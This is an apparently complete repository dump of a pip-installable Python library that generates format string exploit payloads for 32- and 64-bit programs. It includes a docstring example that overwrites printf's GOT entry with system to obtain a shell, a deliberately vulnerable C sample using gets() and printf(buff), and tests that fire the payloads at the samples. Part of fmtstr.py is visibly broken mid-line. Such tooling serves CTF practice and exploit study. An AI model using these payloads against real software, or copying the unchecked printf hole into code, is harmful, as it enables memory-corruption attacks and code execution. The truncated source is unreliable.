├── .gitignore ├── LICENSE ├── README.md ├── fmtstr.py ├── sample ├── sample-fmt ├── sample-fmt-32 └── sample-fmt.c ├── setup.py ├── test.py └── test_py3.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | 3 | .gdb_history 4 | peda-* 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2017 Inndy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # format string attack payload generator 2 | 3 | - support python2 and python3 4 | - tested on 2.7+ and 3.5+ 5 | - support 32bits / 64bits payload generation 6 | - payload size optimize not implemented 7 | 8 | ## Installation 9 | 10 | ```sh 11 | pip install formatstring-exploit 12 | ``` 13 | 14 | ## Usage 15 | 16 | ```python 17 | from fmtstr import FormatString 18 | 19 | fmt = FormatString(offset=6, written=8, bits=64) 20 | fmt[0x601040] = 'DEADBEEF' 21 | payload, sig = fmt.build() 22 | 23 | def dump(x): 24 | try: 25 | from hexdump import hexdump 26 | hexdump(x) 27 | except ImportError: 28 | import binascii, textwrap 29 | print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) 30 | 31 | dump(payload) 32 | ``` 33 | 34 | ``` 35 | 00000000: 25 35 37 63 25 32 31 24 68 68 6E 25 31 63 25 32 %57c%21$hhn%1c%2 36 | 00000010: 32 24 68 68 6E 25 32 63 25 32 33 24 68 68 6E 25 2$hhn%2c%23$hhn% 37 | 00000020: 32 34 24 68 68 6E 25 31 63 25 32 35 24 68 68 6E 24$hhn%1c%25$hhn 38 | 00000030: 25 32 36 24 68 68 6E 25 32 37 24 68 68 6E 25 31 %26$hhn%27$hhn%1 39 | 00000040: 63 25 32 38 24 68 68 6E 44 45 41 44 42 45 45 46 c%28$hhnDEADBEEF 40 | 00000050: 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E ................ 41 | 00000060: 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 00 ................ 42 | 00000070: 42 10 60 00 00 00 00 00 44 10 60 00 00 00 00 00 B.`.....D.`..... 43 | 00000080: 40 10 60 00 00 00 00 00 43 10 60 00 00 00 00 00 @.`.....C.`..... 44 | 00000090: 41 10 60 00 00 00 00 00 45 10 60 00 00 00 00 00 A.`.....E.`..... 45 | 000000A0: 46 10 60 00 00 00 00 00 47 10 60 00 00 00 00 00 F.`.....G.`..... 46 | ``` 47 | 48 | More sample see [test.py](test.py) 49 | 50 | ## License 51 | 52 | [MIT License](LICENSE) 53 | -------------------------------------------------------------------------------- /fmtstr.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | __doc__ = "format string payload generator" 4 | __all__ = ('FormatString',) 5 | 6 | try: 7 | bytes_classes = (bytes, bytearray) 8 | str_classes = (str, ) 9 | except: 10 | bytes_class = (str, bytearray) 11 | str_classes = (unicode, ) 12 | 13 | p64 = lambda x: struct.pack('>> import pwn # pwntools 20 | >>> from fmtstr import * 21 | 22 | >>> elf = pwn.ELF() 23 | >>> io = pwn.process('./fmtstr_vul') 24 | 25 | >>> fmt = FormatString(offset=7, written=32, bits=32) 26 | >>> fmt[elf.got['printf']] = elf.symbols['system'] 27 | >>> payload, sig = fmt.build() 28 | 29 | >>> io.sendline(payload) 30 | >>> io.recvuntil(sig) 31 | >>> io.interactive() 32 | """ 33 | 34 | def __init__(self, offset=None, written=0, bits=64): 35 | """ 36 | offset %offset$p contains first controllable payload on the stack 37 | written how many bytes data have been written 38 | bits 32 for x86, 64 for AMD64 39 | """ 40 | self.bits = bits 41 | 42 | if written % self.size() != 0: 43 | self.padding = self.size() - written % self.size() 44 | else: 45 | self.padding = 0 46 | 47 | if offset is None: 48 | offset = {4: 1, 8: 6}[self.size()] 49 | 50 | self.offset = offset 51 | self.written = written 52 | self.table = {} 53 | 54 | def cleanup(self): 55 | """ 56 | clean data to be written 57 | """ 58 | self.table = {} 59 | 60 | def size(self): 61 | """ 62 | return address size based on `bits` attribute 63 | """ 64 | if self.bits == 32: 65 | return 4 66 | elif self.bits == 64: 67 | return 8 68 | else: 69 | raise ValueError('Unsupported bits %d' % self.bits) 70 | 71 | def pack(self, v): 72 | """ 73 | pack int to bytes-like object 74 | """ 75 | f = { 4: p32, 8: p64 } 76 | return f[self.size()](v) 77 | 78 | def build(self): 79 | """ 80 | build payload, returns (payload, sig) 81 | """ 82 | payload = b'' 83 | to_write = sorted(self.table.items(), key=lambda x: x[1]) 84 | length = len(to_write) * 12 # %100c$99$hhn 85 | length = length + 8 + self.size() - length % self.size() 86 | 87 | written = self.written + self.padding 88 | 89 | skip = self.offset + (length + written) // self.size() 90 | 91 | for adr, val in to_write: 92 | if val != written & 0xff: 93 | l = (val - written) & 0xff 94 | payload += b'%%%dc' % l 95 | written += l 96 | payload += b'%%%d$hhn' % skip 97 | skip += 1 98 | 99 | SIG = b'DEADBEEF' 100 | sig = SIG + b'.' * (length - len(payload) - len(SIG) - 1) + b'\0' 101 | payload += sig + b''.join(self.pack(i[0]) for i in to_write) 102 | 103 | self.cleanup() 104 | return b'.' * self.padding + payload, sig[:-1] 105 | 106 | def __setitem__(self, address, val): 107 | if type(val) is int: 108 | val = bytearray(self.pack(val)) 109 | elif type(val) in bytes_classes: 110 | val = bytearray(val) 111 | elif type(val) in str_classes: 112 | val = val.encode() 113 | else: 114 | raise TypeError('Invalid type of `val`') 115 | 116 | to_write = { (address + i, v) for i, v in enumerate(val) } 117 | self.table.update(to_write) 118 | -------------------------------------------------------------------------------- /sample/sample-fmt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Inndy/formatstring-exploit/71b6841238846729bb94d9f81ca6615759b1cae8/sample/sample-fmt -------------------------------------------------------------------------------- /sample/sample-fmt-32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Inndy/formatstring-exploit/71b6841238846729bb94d9f81ca6615759b1cae8/sample/sample-fmt-32 -------------------------------------------------------------------------------- /sample/sample-fmt.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | long long z = 0xdeadbeef; 4 | 5 | int main() 6 | { 7 | char buff[256]; 8 | while(1) { 9 | gets(buff); 10 | printf(buff); 11 | printf("z = %.16llx..\n", z); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | 3 | setup( 4 | name='formatstring-exploit', 5 | version='0.1', 6 | description='formatstring-exploit', 7 | keywords='formatstring-exploit', 8 | url='http://github.com/Inndy/formatstring-exploit', 9 | author='Inndy', 10 | author_email='inndy.tw@gmail.com', 11 | license='MIT', 12 | py_modules=['fmtstr'], 13 | zip_safe=True 14 | ) 15 | -------------------------------------------------------------------------------- /test.py: -------------------------------------------------------------------------------- 1 | from fmtstr import FormatString 2 | from pwn import * 3 | 4 | print '-- now test 64bit' 5 | 6 | fmt = FormatString(offset=6, written=8, bits=64) 7 | fmt[0x601040] = p64(0x1234567890abcdef) 8 | payload, sig = fmt.build() 9 | 10 | print(hexdump(payload)) 11 | 12 | io = process('./sample/sample-fmt') 13 | io.sendline('A' * 8 + payload) 14 | io.recvuntil(sig) 15 | print io.recvline() 16 | io.close() 17 | 18 | print '-- now test 32bit' 19 | 20 | fmt = FormatString(offset=7, written=2, bits=32) 21 | fmt[0x804a020] = p64(0x1234567890abcdef) 22 | payload, sig = fmt.build() 23 | 24 | print(hexdump('\0\0' + payload)) 25 | 26 | io = process('./sample/sample-fmt-32') 27 | io.sendline('A' * 2 + payload) 28 | io.recvuntil(sig) 29 | print io.recvline() 30 | io.close() 31 | -------------------------------------------------------------------------------- /test_py3.py: -------------------------------------------------------------------------------- 1 | from fmtstr import FormatString, p64 2 | from subprocess import Popen, PIPE 3 | 4 | print('-- now test 64bit') 5 | 6 | fmt = FormatString(offset=6, written=0, bits=64) 7 | fmt[0x601040] = 0x1234567890abcdef 8 | payload, sig = fmt.build() 9 | 10 | print('payload: %r' % payload) 11 | print('sig: %r' % sig) 12 | 13 | io = Popen('./sample/sample-fmt', stdin=PIPE, stdout=PIPE) 14 | io.stdin.write(payload + b'\n') 15 | io.stdin.flush() 16 | io.stdin.close() 17 | buff = b'' 18 | while sig not in buff: 19 | buff += io.stdout.read(1) 20 | 21 | print(io.stdout.readline()) 22 | io.kill() 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | print('-- now test 32bit') 32 | 33 | fmt = FormatString(offset=7, written=2, bits=32) 34 | fmt[0x804a020] = p64(0xffeebbddaa335588) 35 | payload, sig = fmt.build() 36 | 37 | print('payload: %r' % payload) 38 | print('sig: %r' % sig) 39 | 40 | io = Popen('./sample/sample-fmt-32', stdin=PIPE, stdout=PIPE) 41 | io.stdin.write(b'zz' + payload + b'\n') 42 | io.stdin.flush() 43 | io.stdin.close() 44 | buff = b'' 45 | while sig not in buff: 46 | buff += io.stdout.read(1) 47 | 48 | print(io.stdout.readline()) 49 | io.kill() 50 | --------------------------------------------------------------------------------